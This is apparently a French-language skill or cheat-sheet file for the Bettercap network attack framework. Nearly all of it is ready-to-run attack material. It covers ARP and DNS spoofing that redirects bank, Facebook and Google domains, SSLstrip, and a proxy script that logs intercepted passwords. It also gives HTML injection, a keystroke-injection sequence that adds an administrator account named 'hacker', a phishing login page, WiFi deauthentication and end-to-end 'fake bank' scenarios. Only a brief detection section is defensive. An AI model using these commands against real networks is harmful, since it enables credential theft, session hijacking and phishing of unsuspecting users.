| name | bettercap |
| description | Bettercap — MITM framework, ARP spoofing, DNS spoofing, HTTP/HTTPS interception, credential harvesting, session hijacking, Beacon C2 detection, HID attacks, Bluetooth, WiFi, BLE, et modules avancés. |
Bettercap — Framework MITM Complet
Présentation
Bettercap est un framework d'attaque réseau (MITM) puissant, modulaire et extensible. Successeur moderne d'Ettercap.
Installation :
sudo apt install bettercap
curl -L https://github.com/bettercap/bettercap/releases/latest/download/bettercap_linux_amd64.zip -o bettercap.zip
sudo unzip bettercap.zip -d /usr/local/bin/
sudo bettercap -eval "set api.rest.username admin; set api.rest.password admin; api.rest on; ui on"
Modes de lancement
sudo bettercap -I eth0
sudo bettercap -I eth0 -eval "ui on"
sudo bettercap -I eth0 -S script.cap
sudo bettercap -I eth0 -T 192.168.1.100 --proxy
sudo bettercap -I wlan0
ARP Spoofing
set arp.spoof.targets 192.168.1.0/24
arp.spoof on
set arp.spoof.targets 192.168.1.100
arp.spoof on
set arp.spoof.internal false
arp.spoof on
set arp.spoof.fullduplex true
Détection d'ARP spoofing
net.sniff on
net.show
DNS Spoofing
cat > /tmp/dns.spoof.txt << EOF
*.example.com 192.168.1.50
*.bank.com 192.168.1.50
login.facebook.com 192.168.1.50
*google.com 192.168.1.50
EOF
set dns.spoof.domains /tmp/dns.spoof.txt
dns.spoof on
set dns.spoof.all true
dns.spoof on
set dns.spoof.address 192.168.1.50
HTTP/HTTPS Proxy
Interception HTTP
set http.proxy.port 8080
http.proxy on
set http.proxy.sslstrip true
http.proxy on
https.proxy on
set arp.spoof.targets 192.168.1.100
arp.spoof on
http.proxy on
Script de capture de credentials HTTP
set http.proxy.script /usr/share/bettercap/caplets/http-request-basic-auth.cap
http.proxy on
cat > /tmp/cred_capture.js << 'EOF'
function onRequest(req, res) {
var body = req.ReadBody();
if (body.indexOf("password") > -1 || body.indexOf("login") > -1) {
console.log("[CRED] " + req.Host + " → " + body);
}
}
function onResponse(req, res) { }
EOF
set http.proxy.script /tmp/cred_capture.js
http.proxy on
Injecter du contenu dans les pages HTTP
cat > /tmp/inject_alert.js << 'EOF'
function onResponse(req, res) {
if (res.ContentType.indexOf('text/html') === 0) {
var body = res.ReadBody();
body = body.replace('</html>', '<script>alert("Hacked by Bettercap")</script></html>');
res.SetBody(body);
}
}
EOF
set http.proxy.script /tmp/inject_alert.js
http.proxy on
HTTPS avec certificat auto-signé
set https.proxy.certificate /usr/local/share/bettercap/bettercap-cert.pem
https.proxy on
openssl req -x509 -newkey rsa:4096 -keyout /tmp/ca.key -out /tmp/ca.pem -days 365
set https.proxy.certificate /tmp/ca.pem
Capture de paquets (sniffer)
Sniffer de credentials
net.sniff on
set net.sniff.verbose true
net.sniff on
set net.sniff.local true
set net.sniff.filter "tcp port 80 or tcp port 443"
net.sniff on
net.sniff on
Modules de capture spécifiques
net.sniff on
HID (Human Interface Device) Attacks
hid.setup /dev/hidg0 keyboard
hid.keyboard press "WIN"
hid.keyboard press "r"
hid.keyboard type "cmd.exe"
hid.keyboard press "ENTER"
hid.keyboard type "net user hacker P@ssw0rd /add"
hid.keyboard press "ENTER"
hid.keyboard type "net localgroup Administrators hacker /add"
WiFi — Captures et attaques
wifi.recon on
wifi.show
wifi.show.clients
wifi.deauth 11:22:33:44:55:66
wifi.deauth aa:bb:cc:dd:ee:ff
wifi.recon on
WPA PMKID capture
wifi.recon on
hcxpcapngtool -o hash.22000 bettercap-wifi.pcap
BLE (Bluetooth Low Energy)
ble.recon on
ble.show
ble.enum 00:11:22:33:44:55
ble.write 00:11:22:33:44:55 handle data
set bluetooth.hci hci0
ble.recon on
Modules avancés
HTTP/HTTPS server (phishing)
http.server on
http.server.path /tmp/pages
set https.server.certificate /tmp/cert.pem
set https.server.key /tmp/key.pem
https.server on
cat > /tmp/pages/login.html << 'HTML'
<form action="/capture" method="POST">
<input name="username" placeholder="Login"/>
<input type="password" name="password" placeholder="Password"/>
<input type="submit"/>
</form>
HTML
TCP proxy (SSH interception potentielle)
set tcp.proxy.address 0.0.0.0
set tcp.proxy.port 2222
tcp.proxy on
Port scanning
net.scan 192.168.1.0/24
net.probe 192.168.1.100 22,80,443,445,3389,8080
Event monitoring
set events.num.max 1000
events.stream on
events.show 100
events.clear
net.show
Caplets (scripts Bettercap)
Structure d'un caplet
net.probe on
set arp.spoof.targets 192.168.1.0/24
set arp.spoof.internal true
set arp.spoof.fullduplex true
arp.spoof on
net.sniff on
http.proxy on
Caplets intégrés
/usr/share/bettercap/caplets/
sudo bettercap -caplet http-req-dump
sudo bettercap -caplet update
sudo bettercap -caplet https-redirect
sudo bettercap -caplet arp-sniff
sudo bettercap -caplet mac-flood
Caplet complet : Man-in-the-Middle total
cat > /tmp/full_mitm.cap << 'EOF'
set arp.spoof.targets 192.168.1.100
set arp.spoof.internal true
set arp.spoof.fullduplex true
set dns.spoof.domains /tmp/dns.spoof.txt
dns.spoof on
set http.proxy.port 8080
http.proxy on
https.proxy on
net.sniff on
set net.sniff.verbose true
events.stream on
help
EOF
sudo bettercap -I eth0 -caplet /tmp/full_mitm.cap
Détection de Bettercap / Anti-Bettercap
Détection
arp -a
cat /proc/sys/net/ipv4/ip_forward
netstat -tlnp | grep 8080
Se protéger
sudo arp -s 192.168.1.1 AA:BB:CC:DD:EE:FF
sudo apt install arpwatch
Scénarios complets
1. ARP spoofing + Capture de credentials
sudo bettercap -I eth0
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> net.sniff on
> set net.sniff.verbose true
2. DNS spoofing + Phishing
sudo bettercap -I eth0 -caplet /tmp/full_mitm.cap
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> set dns.spoof.domains /tmp/bank_spoof.txt
> dns.spoof on
> http.server on
> http.server.path /tmp/fake_bank/
3. SSLStrip + Session hijacking
sudo bettercap -I eth0
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> sslstrip on
> net.sniff on
4. WiFi WPA capture + PMKID
sudo bettercap -I wlan0
> wifi.recon on
> wifi.show
> wifi.deauth AA:BB:CC:DD:EE:FF
> quit
5. BLE device enumeration
sudo bettercap
> ble.recon on
> ble.show
> ble.enum 00:11:22:33:44:55
> ble.write 00:11:22:33:44:55 0x0012 \x00
Antisèche rapide
sudo bettercap -eval "set api.rest.username admin; set api.rest.password admin; api.rest on"
sudo bettercap -I eth0 -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on; net.sniff on"
set dns.spoof.domains /tmp/domains.txt
dns.spoof on
http.proxy on; set http.proxy.sslstrip true
wifi.recon on; wifi.deauth AA:BB:CC:DD:EE:FF
sudo bettercap -I eth0 -caplet mon_script.cap
events.stream on
net.sniff on
net.probe on; net.show